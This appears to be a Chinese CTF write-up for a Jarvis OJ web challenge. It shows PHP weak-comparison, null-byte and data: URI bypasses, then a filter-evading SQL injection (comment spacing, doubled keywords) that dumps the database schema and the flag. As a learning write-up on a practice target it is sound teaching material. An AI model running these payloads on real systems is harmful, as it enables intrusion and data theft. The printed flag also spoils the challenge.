时间:2018年10月6日 汇报人:王祎洁
http://web.jarvisoj.com:32780/index.php?id=1
进入后读代码,发现三个参数:a,b,id。
id:id==0
典型的PHP弱比较,利用id=0a
或id=0e123
或id=asd
均可实现绕过
b:strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
这里要求:b的长度大于5,且是基于eregi函数的弱类型,用%00的绕过( strlen函数对%00不截断但substr截断)那么可以令b=%00411111
此处链接一篇博客可供参考:https://blog.csdn.net/qq_31481187/article/details/60968595
a:由data进行赋值:$data = @file_get_contents($a,'r')
而又有$data=="1112 is a nice lab!"
可以利用远程文件包含在allow_url_include
开启时可以使用,但发现对$a
有了.
过滤所以还是data协议比较稳妥
此处链接一篇博客可供参考:https://blog.csdn.net/lxgwm2008/article/details/38437875
这里采用的格式是:data:,
最后在地址栏输入id=0e&a=data:,1112 is a nice lab!&b=%00411111
,得到:
发现 {/^HT2mCpcvOLf} 不像flag,像一个目录,于是,尝试在地址栏输入:http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php
发现,跳转后自动后补id=1
,考虑sql注入
尝试进行注入,发现此时,简单过滤了空格,利用/*1*/
绕过,且去除敏感字符
于是有:id=1/*1*/and/*1*/1/*1*/=/*1*/1
显示正常
id=1/*1*/and/*1*/1/*1*/=/*1*/2
显示错误,存在注入
id=1/*1*/order/*1*/by/*1*/1
显示正常
id=1/*1*/order/*1*/by/*1*/2
显示正常
id=1/*1*/order/*1*/by/*1*/3
显示正常
id=1/*1*/order/*1*/by/*1*/4
显示错误,字段数为3
下面开始爆数据库:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(database())%23
得到数据库名test
接下来开始爆表名:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(seselectlect/*12*/group_concat(table_name)/*12*/frfromom/*12*/information_schema.tables/*12*/where/*12*/table_schema=database())%23
得到表名:content
接下来爆列名:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(selselectect/*12*/group_concat(column_name)/*12*/frofromm/*12*/information_schema.columns/*12*/where/*12*/table_name=0x636f6e74656e74)%23
得到列名:context
读取内容:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(selselectect/*12*/context/*12*/frofromm/*1*/content)%23
得到flag:PCTF{Fin4lly_U_got_i7_C0ngRatulation5}